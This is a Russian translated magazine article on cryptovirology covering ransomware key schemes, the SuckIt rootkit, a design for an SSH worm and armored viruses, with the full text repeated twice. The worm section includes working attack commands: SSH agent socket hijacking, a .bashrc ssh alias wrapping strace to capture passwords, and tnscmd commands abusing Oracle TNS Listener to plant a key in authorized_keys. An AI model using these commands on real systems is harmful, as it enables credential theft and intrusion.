криптография: палка о двух концах
Криптография в наши дни повсюду. Большинство пользователей каждый день извлекают из нее пользу, даже если делают это неосознанно. В этой статье мы рассмотрим, почему криптография является «палкой о двух концах»: она обеспечивает нашу безопасность и в то же время используется против нас.
Криптология – это область знаний, в которую входят две составляющие:
- криптография - занимается разработкой алгоритмов, обеспечивающих конфиденциальность, целостность данных и т.д. Обычно алгоритмы основаны на каком-либо секрете, часто называемом ключом, и/или особых математических функциях;
- криптоанализ - пытается создать алгоритмы, обходящие конфиденциальность, целостность и т.д. Обычно эти алгоритмы основываются на сложных математических теориях, но некоторые трюки могут быть использованы для достижения тех же целей обходными путями (эти трюки известны как оперативный криптоанализ).
Ввиду такого раздвоения криптография считается «оборонительной» наукой, а криптоанализ – «наступательной». Тем не менее, когда кто-то упоминает слово «крипто», оно ассоциируется прежде всего с безопасностью.
И наоборот, говоря о вирологии, мы сразу представляем себе заражения вирусами. Как ни странно, вирология также подразделяется на две составляющие, «наступательную» и «оборонительную»:
- вирус - самовоспроизводимая программа, которая распространяется внедрением своих копий в другие программы или документы. Вирусы считаются «наступательной» составляющей вирологии, так как обычно несут злонамеренную начинку, а также из-за использования анти-антивирусных технологий; - антивирус – это программа, которая пытается идентифицировать, изолировать и уничтожить компьютерные вирусы и другие злонамеренные программы. В основном антивирусы основаны на сравнении с образцом (сигнатурой) и на анализе подозрительного поведения (эвристический метод).
Криптография используется производителями антивирусных продуктов для обеспечения конфиденциальности сигнатурных баз и при их удаленном обновлении. Но вирусописатели также используют криптографию для сокрытия начинки вирусов или для того, чтобы обезопасить вирус от обнаружения и анализа.
криптовирология
К сожалению, процесс написания вируса не отличается от процесса написания любой другой программы. Разработчик внедряет хитрые идеи для улучшения работы (или скрытности), отказоустойчивости, возможности распространения или же для улучшения самой начинки. Однако когда антивирусный аналитик получает образец вируса, он изучает принципы его работы и последствия этой работы. В итоге и вирусописатель, и аналитик имеют одинаковое представление о вирусе. Цель криптовирологии – нарушить такое симметричное представление о вирусе.
Типичную модель криптовируса различают в зависимости от намерений вируса:
- вирусописатель создает RSA-ключ: открытый ключ находится в теле вируса, а закрытый остается у автора;
- вирус распространяется и использует открытый ключ в злонамеренных целях (например, шифрует данные – жесткий диск, почту и т.п.);
- вирусописатель требует выкуп, а после его получения высылает закрытый ключ.
GpCode и Krotten являются свежими примерами подобного подхода. К счастью, он имеет несколько слабых мест. Во-первых, вопрос анонимности – как злоумышленнику получить деньги и остаться не пойманным? Во-вторых, что если одна из жертв опубликует закрытый ключ? Чтобы избежать этого, злоумышленник может потребовать, чтобы жертва прислала ему зашифрованные данные, и он их пошлет обратно после расшифровки. Но при таком подходе злоумышленник может получить доступ к важным сведениям, и жертва скорее согласится на их уничтожение.
гибридная модель криптовируса
Эта модель использует как симметричное, так и асимметричное шифрование:
- вирусописатель создает RSA-ключ: открытый ключ находится в теле вируса, закрытый остается у автора;
- вирус распространяется: создает тайный ключ, которым шифрует данные, тайный ключ шифруется открытым ключом;
- вирусописатель требует выкуп, прежде чем расшифровать тайный ключ.
поиск жертвы, предотвращение анализа и скрытность
Типичный вопрос автора криптовируса: как мне использовать данный метод шифрования в вирологии? Мы расширим этот вопрос двумя другими. Как улучшить отдельные характеристики вируса с помощью криптографии? Как использовать криптографию в злонамеренных целях?
Чтобы разобраться с этими вопросами, нужно сначала изучить подходы к написанию вируса. При написании вируса, автор должен решить три основных задачи. Первая задача - поиск жертвы, решается созданием механизма поиска возможной жертвы для заражения и дальнейшего распространения. Вторая задача вирусописателя – задержать как можно дольше анализ вируса, то есть найти пути для того, чтобы затормозить или вообще предотвратить анализ своего кода. Последняя задача, обеспечение скрытности вируса от пользователей и антивирусов, пояснений не требует.
вопрос точности
Как было ранее отмечено, криптография сегодня повсюду. К примеру, в сетях некоторые протоколы низких уровней основаны на шифровании (WEP, WPA/TKIP, IPSec и др.), также как и некоторые протоколы высшего уровня (SSH, SSL, Kerberos, PGP и т.д.). Криптография используется для решения многих задач, в частности авторизации и шифрования данных (с помощью AES, DES, 3DES, IDEA, RC4 и многих других).
Независимо от способа шифрования, можно смело сказать, что когда шифрование используется на одном конце соединения, оно используется и на другом. Более того, между этими двумя объектами существуют доверительные отношения, чаще всего посредством пароля (нередко «слабого»). Также следует помнить, что криптографические протоколы обычно очень сложные и требуют определенных условий для корректной работы, однако эти условия часто не соблюдаются. Давайте попробуем эксплуатировать эти недостатки в нашем обзоре криптовирологии.
В этой части статьи мы рассмотрим, как вирусописатели используют криптографию для поиска жертв с большей точностью, чем методы, использовавшиеся при написании старых червей и вирусов (типа генерирования 32-битного числа в качестве IP-адреса).
краткий обзор руткита SuckIt
Мы не будем глубоко вникать в принципы работы руткита SuckIt. Обратим внимание исключительно на его криптографическую составляющую. Независимо от версии, способ авторизации этого руткита оставляет желать лучшего. Это означает, что если кто-то найдет исполняемый файл руткита, то сможет использовать его для доступа к сети зараженных машин, управляемых злоумышленником, а также узнать, чем тот занимается.
Вышесказанное возможно вследствие того, что SuckIt использует авторизацию, основанную на сравнении двух хешей. Нам даже не нужно знать изначальное значение хеша. Нам требуется лишь слегка изменить клиент руткита, чтобы он посылал хеш серверу, избегая запроса пароля. Проблема в том, как правильно использовать такую ситуацию. Первым делом следует посмотреть, откуда пришел злоумышленник. Обычно это скомпрометированная система, на которой, скорее всего, установлен клиент руткита с таким же паролем. Злоумышленники - обычные люди и не могут помнить большое количество разнообразных паролей. Таким образом, вы можете получить пароль ко всем машинам в сети злоумышленника. Второе интересное место, куда стоит заглянуть - это данные, перехваченные самим руткитом. Файл .sniffer находится в скрытом каталоге руткита. В нем хранятся перехваченные данные соединений с другими зараженными машинами и соответствующие хеши.
принципы создания SSH-червя
SSH - широко известный протокол, основанный на нескольких криптографических протоколах. Он был специально разработан для безопасной работы на удаленной системе. Клиентам доступны несколько вариантов авторизации: пароль, запрос/ответ, Kerberos и др. Сервер идентифицируется асимметричным ключом. SSH также предлагает много полезных возможностей: TCP proxy, secure ftp и т.д.
Давайте представим, что может использовать злоумышленник для создания SSH-червя. Конечно, также как и многие другие черви, этот червь может использовать какую-нибудь уязвимость в сервере. Хотя это самый очевидный подход, он не единственный. Если есть такая возможность – пожалуйста, но это не является необходимостью.
Предположим, что у нас есть скомпрометированная система с множеством пользователей. У нашего червя имеются высшие привилегии, то есть он имеет привилегии любого локального пользователя. Помимо этого червь может нести в себе локальные эксплойты, чтобы получить такие же привилегии на новых жертвах. Но мы постараемся ограничить его возможности распространения возможностями SSH и человеческим фактором.
Первый вопрос, который приходит на ум: как наш червь будет распространяться по SSH-сети с одной машины? Ответ состоит из двух частей: во-первых, нам необходимо определиться с возможными целями, во-вторых, нужно найти способ проникнуть в них.
SSH-сеть можно представить в виде диаграммы, в которой учитываются доверительные отношения между клиентами и серверами. Узлами будут SSH-хосты. Исходящие линии показывают удаленные SSH-серверы, с которыми соединен пользователь, и которые представляют собой возможные цели. Входящие линии показывают место, откуда пользователь соединился с данным хостом. Они тоже могут представлять собой возможные цели, но нужно удостовериться, что там присутствует SSH-сервер. В обоих случаях для достижения наших целей мы можем эксплуатировать SSH-клиент.
Отличная реализация OpenSSH предоставляет всю необходимую информацию для поиска удаленных хостов. Выше было оговорено, что наш червь имеет привилегии любого пользователя. Таким образом, для отдельно взятого пользователя мы можем:
- посмотреть известные хосты. Открытые ключи всех досягаемых хостов хранятся в файле ~/.ssh/known_hosts. Однако последние версии OpenSSH используют хеш IP-адреса/имени вместо открытого текста (как мера защиты);
- покопаться в файле настроек ~/.ssh/config (если он существует) в поиске хоста и зайти в каталог ControlPath;
- посмотреть текущие и планируемые сетевые соединения;
- исследовать файлы истории: grep ssh ~/.bash_history.
Теперь разберемся с входящими соединениями. Во-первых, мы можем посмотреть ключи, выданные пользователем. Они находятся в файле
~/.ssh/authorized_keys. Во-вторых, можно посмотреть на текущие сетевые соединения, а так как у нас высшие привилегии, можно прослушать данные, проходящие по сети.
Теперь мы знаем, как с максимальной эффективностью найти цели, но остается задача проникновения. Как было отмечено ранее, червь может использовать уязвимости сервера или клиента SSH, но как мы увидим далее, существуют и другие способы.
Самый простой способ, наверное, взять пользовательский SSH-агент:
>> export SSH_AUTH_SOCK=/tmp/ssh-DEADBEEF/agent.1337
>> export SSH_AGENT_PID=1007
Позже в SSH появилась другая интересная возможность, которая может быть легко использована злоумышленником. Стало возможно мультиплексировать несколько SSH-сессий в одно TCP-соединение. То есть вы авторизуетесь на удаленном хосте, и все остальные соединения к этому хосту проходят через существующее соединение. Эта возможность может быть настроена любым пользователем:
~/.ssh/config
Host GetingMeForFree
ControlMaster auto
ControlPath ~/.ssh/currents/%r@%h:%p
Если существует соединение с GetingMeForFree («бери меня на халяву»), червю остается только соединиться с этим хостом.
Червь также может перехватить вводимые пользователем данные авторизации. В качестве перехватчика можно использовать strace. Например, можно сделать для команды ssh псевдоним (alias) в файле ~/.bashrc:
# new ssh command put in ~/.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
Червю остается ждать, пока перехваченная информация не окажется в лог-файле:
connect(3, sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("192.168.0.103"), 16)
write(5, "Password:", 9) =9
read(5, "b", 1) =1
read(5, "e", 1) =1
read(5, "e", 1)=1
read(5, "r", 1) =1
read(5, "\n", 1) =1
Этот метод можно использовать и при авторизации с закрытым ключом, обычно находящимся в ~/.ssh/id_[dsa|rsa].Еще один трюк, применяемый злонамеренными программами/пользователями: использование/внедрение программы подбора паролей. В настоящее время это очень популярный способ взлома SSH-серверов. Наверняка вы видели подобное в своих логах:
Feb 9 23:25:14 localhost sshd[14236]: Failed password for root from 80.95.161.86 port 58645 ssh2
Feb 9 23:25:17 localhost sshd[14238]: Failed password for invalid user admin from 80.95.161.86 port 58806 ssh2
Feb 9 23:25:23 localhost sshd[14313]: Failed password for invalid user guest from 80.95.161.86 port 59243 ssh2
Feb 9 23:25:26 localhost sshd[14351]: Failed password for invalid user webmaster from 80.95.161.86 port 59445 ssh2
Feb 9 23:25:29 localhost sshd[14364]: Failed password for invalid user oracle from 80.95.161.86 port 59445 ssh2
Червь может также использовать уязвимости в других приложениях, особенно если сможет внедрить/перезаписать файл на удаленном хосте. Если он добавит свой ключ в удаленный ~/.ssh/authorized_keys, и если на сервере используется такой вид авторизации, то остается только подсоединиться к серверу.
Веб-приложения являются хорошим примером такого подхода, так как многие из них позволяют писать в файлы на удаленном хосте. В нашем примере мы рассмотрим старую уязвимость в Oracle, как раз подходящую для нашего червя.
В старых версиях Oracle существовал компонент TNS Listener, принимавший прямые соединения и команды без авторизации. В общем случае требуется соединиться с этим сервисом, изменить лог-файл на ~/.ssh/authorized_keys, послать некорректную команду (например, ключ червя), которая сохранится в лог, и все.
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/ora92/.ssh/authorized_keys)))"
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(CONNECT_DATA=
((ssh-dss AAAAB3NzaC1kc3D...Ckuu4=raynal@poisonivy.gotham"
Таким образом, с помощью знаний криптографии злоумышленник может с большой точностью определить возможные цели. Более того, благодаря криптографии и человеческому фактору, не составляет труда проникнуть в эти цели. Комбинируя все это с эксплуатированием локальных уязвимостей, мы получаем действующий SSH-червь.
Эффективность такого червя ограничена, так как в глобальной сети не столь много систем с соответствующими настройками и возможностями. Но искушенный злоумышленник может доработать червя для достижения большей эффективности.
вопрос времени: бронированные вирусы
Любой, кто занимается вопросами безопасности, знает, что время является критическим фактором. В программном обеспечении шифрование кода/данных обычно используется для защиты интеллектуальной собственности. Код программы или данные шифруются, чтобы предотвратить их чтение кем-либо, а перед запуском программы выдается ключ для получения исходного текста. Могут использоваться несколько уровней шифрования, и код/данные могут быть расшифрованы частично в определенное время. Подобные меры безопасности используются либо для обеспечения целостности данных, либо в лицензионной политике.
К сожалению такие же методы используются и в злонамеренных программах. Давайте рассмотрим «жизнь» вируса во время его распространения. С того дня, когда вирус обнаруживает себя, его начинают анализировать. После завершения анализа создаются сигнатуры и характеристика вируса, которые добавляются в базы антивирусов. После этого сигнатуры и характеристика попадают к конечным пользователям в виде обновлений антивирусного программного обеспечения. Новые копии вируса своевременно обнаруживаются и удаляются. Вывод очевиден – после своего распространения вирус умирает.
Чтобы избежать этой проблемы, вирусописатель должен отложить или вообще запретить анализ своего детища. Вирус, использующий технологии предотвращения своего анализа, называется «бронированным»(armored).
Первым известным вирусом этого класса стал Whale. Whale впервые начал распространяться где-то в сентябре 1990. Он совмещал в себе несколько технологий:
- полиморфизм: и бинарный файл, и процесс были зашифрованы (около 30 жестко закодированных версий);
- технология стелс (stealth): несколько прерываний, включая отладочные, перехватывались Whale. Также вирус прятался в высшей памяти до уменьшения предела памяти, известной DOS;
- бронирование: изменения кода зависели от архитектуры системы (8088 или 8086), интенсивно использовалась обфускация (запутывание) кода, а также имелся анти-отладчик (anti-debugger) (если обнаруживался отладчик, блокировалась клавиатура, и Whale уничтожал себя).
Если сегодня эти технологии используются чуть ли не в каждом вирусе, можно представить себе, с какими проблемами сталкиваются аналитики антивирусных лабораторий.
Frederic Raynal, перевод securitylab.ru
Криптология – это область знаний, в которую входят две составляющие:
- криптография - занимается разработкой алгоритмов, обеспечивающих конфиденциальность, целостность данных и т.д. Обычно алгоритмы основаны на каком-либо секрете, часто называемом ключом, и/или особых математических функциях;
- криптоанализ - пытается создать алгоритмы, обходящие конфиденциальность, целостность и т.д. Обычно эти алгоритмы основываются на сложных математических теориях, но некоторые трюки могут быть использованы для достижения тех же целей обходными путями (эти трюки известны как оперативный криптоанализ).
Ввиду такого раздвоения криптография считается «оборонительной» наукой, а криптоанализ – «наступательной». Тем не менее, когда кто-то упоминает слово «крипто», оно ассоциируется прежде всего с безопасностью.
И наоборот, говоря о вирологии, мы сразу представляем себе заражения вирусами. Как ни странно, вирология также подразделяется на две составляющие, «наступательную» и «оборонительную»:
- вирус - самовоспроизводимая программа, которая распространяется внедрением своих копий в другие программы или документы. Вирусы считаются «наступательной» составляющей вирологии, так как обычно несут злонамеренную начинку, а также из-за использования анти-антивирусных технологий; - антивирус – это программа, которая пытается идентифицировать, изолировать и уничтожить компьютерные вирусы и другие злонамеренные программы. В основном антивирусы основаны на сравнении с образцом (сигнатурой) и на анализе подозрительного поведения (эвристический метод).
Криптография используется производителями антивирусных продуктов для обеспечения конфиденциальности сигнатурных баз и при их удаленном обновлении. Но вирусописатели также используют криптографию для сокрытия начинки вирусов или для того, чтобы обезопасить вирус от обнаружения и анализа.
криптовирология
К сожалению, процесс написания вируса не отличается от процесса написания любой другой программы. Разработчик внедряет хитрые идеи для улучшения работы (или скрытности), отказоустойчивости, возможности распространения или же для улучшения самой начинки. Однако когда антивирусный аналитик получает образец вируса, он изучает принципы его работы и последствия этой работы. В итоге и вирусописатель, и аналитик имеют одинаковое представление о вирусе. Цель криптовирологии – нарушить такое симметричное представление о вирусе.
Типичную модель криптовируса различают в зависимости от намерений вируса:
- вирусописатель создает RSA-ключ: открытый ключ находится в теле вируса, а закрытый остается у автора;
- вирус распространяется и использует открытый ключ в злонамеренных целях (например, шифрует данные – жесткий диск, почту и т.п.);
- вирусописатель требует выкуп, а после его получения высылает закрытый ключ.
GpCode и Krotten являются свежими примерами подобного подхода. К счастью, он имеет несколько слабых мест. Во-первых, вопрос анонимности – как злоумышленнику получить деньги и остаться не пойманным? Во-вторых, что если одна из жертв опубликует закрытый ключ? Чтобы избежать этого, злоумышленник может потребовать, чтобы жертва прислала ему зашифрованные данные, и он их пошлет обратно после расшифровки. Но при таком подходе злоумышленник может получить доступ к важным сведениям, и жертва скорее согласится на их уничтожение.
гибридная модель криптовируса
Эта модель использует как симметричное, так и асимметричное шифрование:
- вирусописатель создает RSA-ключ: открытый ключ находится в теле вируса, закрытый остается у автора;
- вирус распространяется: создает тайный ключ, которым шифрует данные, тайный ключ шифруется открытым ключом;
- вирусописатель требует выкуп, прежде чем расшифровать тайный ключ.
поиск жертвы, предотвращение анализа и скрытность
Типичный вопрос автора криптовируса: как мне использовать данный метод шифрования в вирологии? Мы расширим этот вопрос двумя другими. Как улучшить отдельные характеристики вируса с помощью криптографии? Как использовать криптографию в злонамеренных целях?
Чтобы разобраться с этими вопросами, нужно сначала изучить подходы к написанию вируса. При написании вируса, автор должен решить три основных задачи. Первая задача - поиск жертвы, решается созданием механизма поиска возможной жертвы для заражения и дальнейшего распространения. Вторая задача вирусописателя – задержать как можно дольше анализ вируса, то есть найти пути для того, чтобы затормозить или вообще предотвратить анализ своего кода. Последняя задача, обеспечение скрытности вируса от пользователей и антивирусов, пояснений не требует.
вопрос точности
Как было ранее отмечено, криптография сегодня повсюду. К примеру, в сетях некоторые протоколы низких уровней основаны на шифровании (WEP, WPA/TKIP, IPSec и др.), также как и некоторые протоколы высшего уровня (SSH, SSL, Kerberos, PGP и т.д.). Криптография используется для решения многих задач, в частности авторизации и шифрования данных (с помощью AES, DES, 3DES, IDEA, RC4 и многих других).
Независимо от способа шифрования, можно смело сказать, что когда шифрование используется на одном конце соединения, оно используется и на другом. Более того, между этими двумя объектами существуют доверительные отношения, чаще всего посредством пароля (нередко «слабого»). Также следует помнить, что криптографические протоколы обычно очень сложные и требуют определенных условий для корректной работы, однако эти условия часто не соблюдаются. Давайте попробуем эксплуатировать эти недостатки в нашем обзоре криптовирологии.
В этой части статьи мы рассмотрим, как вирусописатели используют криптографию для поиска жертв с большей точностью, чем методы, использовавшиеся при написании старых червей и вирусов (типа генерирования 32-битного числа в качестве IP-адреса).
краткий обзор руткита SuckIt
Мы не будем глубоко вникать в принципы работы руткита SuckIt. Обратим внимание исключительно на его криптографическую составляющую. Независимо от версии, способ авторизации этого руткита оставляет желать лучшего. Это означает, что если кто-то найдет исполняемый файл руткита, то сможет использовать его для доступа к сети зараженных машин, управляемых злоумышленником, а также узнать, чем тот занимается.
Вышесказанное возможно вследствие того, что SuckIt использует авторизацию, основанную на сравнении двух хешей. Нам даже не нужно знать изначальное значение хеша. Нам требуется лишь слегка изменить клиент руткита, чтобы он посылал хеш серверу, избегая запроса пароля. Проблема в том, как правильно использовать такую ситуацию. Первым делом следует посмотреть, откуда пришел злоумышленник. Обычно это скомпрометированная система, на которой, скорее всего, установлен клиент руткита с таким же паролем. Злоумышленники - обычные люди и не могут помнить большое количество разнообразных паролей. Таким образом, вы можете получить пароль ко всем машинам в сети злоумышленника. Второе интересное место, куда стоит заглянуть - это данные, перехваченные самим руткитом. Файл .sniffer находится в скрытом каталоге руткита. В нем хранятся перехваченные данные соединений с другими зараженными машинами и соответствующие хеши.
принципы создания SSH-червя
SSH - широко известный протокол, основанный на нескольких криптографических протоколах. Он был специально разработан для безопасной работы на удаленной системе. Клиентам доступны несколько вариантов авторизации: пароль, запрос/ответ, Kerberos и др. Сервер идентифицируется асимметричным ключом. SSH также предлагает много полезных возможностей: TCP proxy, secure ftp и т.д.
Давайте представим, что может использовать злоумышленник для создания SSH-червя. Конечно, также как и многие другие черви, этот червь может использовать какую-нибудь уязвимость в сервере. Хотя это самый очевидный подход, он не единственный. Если есть такая возможность – пожалуйста, но это не является необходимостью.
Предположим, что у нас есть скомпрометированная система с множеством пользователей. У нашего червя имеются высшие привилегии, то есть он имеет привилегии любого локального пользователя. Помимо этого червь может нести в себе локальные эксплойты, чтобы получить такие же привилегии на новых жертвах. Но мы постараемся ограничить его возможности распространения возможностями SSH и человеческим фактором.
Первый вопрос, который приходит на ум: как наш червь будет распространяться по SSH-сети с одной машины? Ответ состоит из двух частей: во-первых, нам необходимо определиться с возможными целями, во-вторых, нужно найти способ проникнуть в них.
SSH-сеть можно представить в виде диаграммы, в которой учитываются доверительные отношения между клиентами и серверами. Узлами будут SSH-хосты. Исходящие линии показывают удаленные SSH-серверы, с которыми соединен пользователь, и которые представляют собой возможные цели. Входящие линии показывают место, откуда пользователь соединился с данным хостом. Они тоже могут представлять собой возможные цели, но нужно удостовериться, что там присутствует SSH-сервер. В обоих случаях для достижения наших целей мы можем эксплуатировать SSH-клиент.
Отличная реализация OpenSSH предоставляет всю необходимую информацию для поиска удаленных хостов. Выше было оговорено, что наш червь имеет привилегии любого пользователя. Таким образом, для отдельно взятого пользователя мы можем:
- посмотреть известные хосты. Открытые ключи всех досягаемых хостов хранятся в файле ~/.ssh/known_hosts. Однако последние версии OpenSSH используют хеш IP-адреса/имени вместо открытого текста (как мера защиты);
- покопаться в файле настроек ~/.ssh/config (если он существует) в поиске хоста и зайти в каталог ControlPath;
- посмотреть текущие и планируемые сетевые соединения;
- исследовать файлы истории: grep ssh ~/.bash_history.
Теперь разберемся с входящими соединениями. Во-первых, мы можем посмотреть ключи, выданные пользователем. Они находятся в файле
~/.ssh/authorized_keys. Во-вторых, можно посмотреть на текущие сетевые соединения, а так как у нас высшие привилегии, можно прослушать данные, проходящие по сети.
Теперь мы знаем, как с максимальной эффективностью найти цели, но остается задача проникновения. Как было отмечено ранее, червь может использовать уязвимости сервера или клиента SSH, но как мы увидим далее, существуют и другие способы.
Самый простой способ, наверное, взять пользовательский SSH-агент:
>> export SSH_AUTH_SOCK=/tmp/ssh-DEADBEEF/agent.1337
>> export SSH_AGENT_PID=1007
Позже в SSH появилась другая интересная возможность, которая может быть легко использована злоумышленником. Стало возможно мультиплексировать несколько SSH-сессий в одно TCP-соединение. То есть вы авторизуетесь на удаленном хосте, и все остальные соединения к этому хосту проходят через существующее соединение. Эта возможность может быть настроена любым пользователем:
~/.ssh/config
Host GetingMeForFree
ControlMaster auto
ControlPath ~/.ssh/currents/%r@%h:%p
Если существует соединение с GetingMeForFree («бери меня на халяву»), червю остается только соединиться с этим хостом.
Червь также может перехватить вводимые пользователем данные авторизации. В качестве перехватчика можно использовать strace. Например, можно сделать для команды ssh псевдоним (alias) в файле ~/.bashrc:
# new ssh command put in ~/.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
Червю остается ждать, пока перехваченная информация не окажется в лог-файле:
connect(3, sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("192.168.0.103"), 16)
write(5, "Password:", 9) =9
read(5, "b", 1) =1
read(5, "e", 1) =1
read(5, "e", 1)=1
read(5, "r", 1) =1
read(5, "\n", 1) =1
Этот метод можно использовать и при авторизации с закрытым ключом, обычно находящимся в ~/.ssh/id_[dsa|rsa].Еще один трюк, применяемый злонамеренными программами/пользователями: использование/внедрение программы подбора паролей. В настоящее время это очень популярный способ взлома SSH-серверов. Наверняка вы видели подобное в своих логах:
Feb 9 23:25:14 localhost sshd[14236]: Failed password for root from 80.95.161.86 port 58645 ssh2
Feb 9 23:25:17 localhost sshd[14238]: Failed password for invalid user admin from 80.95.161.86 port 58806 ssh2
Feb 9 23:25:23 localhost sshd[14313]: Failed password for invalid user guest from 80.95.161.86 port 59243 ssh2
Feb 9 23:25:26 localhost sshd[14351]: Failed password for invalid user webmaster from 80.95.161.86 port 59445 ssh2
Feb 9 23:25:29 localhost sshd[14364]: Failed password for invalid user oracle from 80.95.161.86 port 59445 ssh2
Червь может также использовать уязвимости в других приложениях, особенно если сможет внедрить/перезаписать файл на удаленном хосте. Если он добавит свой ключ в удаленный ~/.ssh/authorized_keys, и если на сервере используется такой вид авторизации, то остается только подсоединиться к серверу.
Веб-приложения являются хорошим примером такого подхода, так как многие из них позволяют писать в файлы на удаленном хосте. В нашем примере мы рассмотрим старую уязвимость в Oracle, как раз подходящую для нашего червя.
В старых версиях Oracle существовал компонент TNS Listener, принимавший прямые соединения и команды без авторизации. В общем случае требуется соединиться с этим сервисом, изменить лог-файл на ~/.ssh/authorized_keys, послать некорректную команду (например, ключ червя), которая сохранится в лог, и все.
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/ora92/.ssh/authorized_keys)))"
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(CONNECT_DATA=
((ssh-dss AAAAB3NzaC1kc3D...Ckuu4=raynal@poisonivy.gotham"
Таким образом, с помощью знаний криптографии злоумышленник может с большой точностью определить возможные цели. Более того, благодаря криптографии и человеческому фактору, не составляет труда проникнуть в эти цели. Комбинируя все это с эксплуатированием локальных уязвимостей, мы получаем действующий SSH-червь.
Эффективность такого червя ограничена, так как в глобальной сети не столь много систем с соответствующими настройками и возможностями. Но искушенный злоумышленник может доработать червя для достижения большей эффективности.
вопрос времени: бронированные вирусы
Любой, кто занимается вопросами безопасности, знает, что время является критическим фактором. В программном обеспечении шифрование кода/данных обычно используется для защиты интеллектуальной собственности. Код программы или данные шифруются, чтобы предотвратить их чтение кем-либо, а перед запуском программы выдается ключ для получения исходного текста. Могут использоваться несколько уровней шифрования, и код/данные могут быть расшифрованы частично в определенное время. Подобные меры безопасности используются либо для обеспечения целостности данных, либо в лицензионной политике.
К сожалению такие же методы используются и в злонамеренных программах. Давайте рассмотрим «жизнь» вируса во время его распространения. С того дня, когда вирус обнаруживает себя, его начинают анализировать. После завершения анализа создаются сигнатуры и характеристика вируса, которые добавляются в базы антивирусов. После этого сигнатуры и характеристика попадают к конечным пользователям в виде обновлений антивирусного программного обеспечения. Новые копии вируса своевременно обнаруживаются и удаляются. Вывод очевиден – после своего распространения вирус умирает.
Чтобы избежать этой проблемы, вирусописатель должен отложить или вообще запретить анализ своего детища. Вирус, использующий технологии предотвращения своего анализа, называется «бронированным»(armored).
Первым известным вирусом этого класса стал Whale. Whale впервые начал распространяться где-то в сентябре 1990. Он совмещал в себе несколько технологий:
- полиморфизм: и бинарный файл, и процесс были зашифрованы (около 30 жестко закодированных версий);
- технология стелс (stealth): несколько прерываний, включая отладочные, перехватывались Whale. Также вирус прятался в высшей памяти до уменьшения предела памяти, известной DOS;
- бронирование: изменения кода зависели от архитектуры системы (8088 или 8086), интенсивно использовалась обфускация (запутывание) кода, а также имелся анти-отладчик (anti-debugger) (если обнаруживался отладчик, блокировалась клавиатура, и Whale уничтожал себя).
Если сегодня эти технологии используются чуть ли не в каждом вирусе, можно представить себе, с какими проблемами сталкиваются аналитики антивирусных лабораторий.
Frederic Raynal, перевод securitylab.ru
Сетевые решения. Статья была опубликована в номере 06 за 2006 год в рубрике save ass…
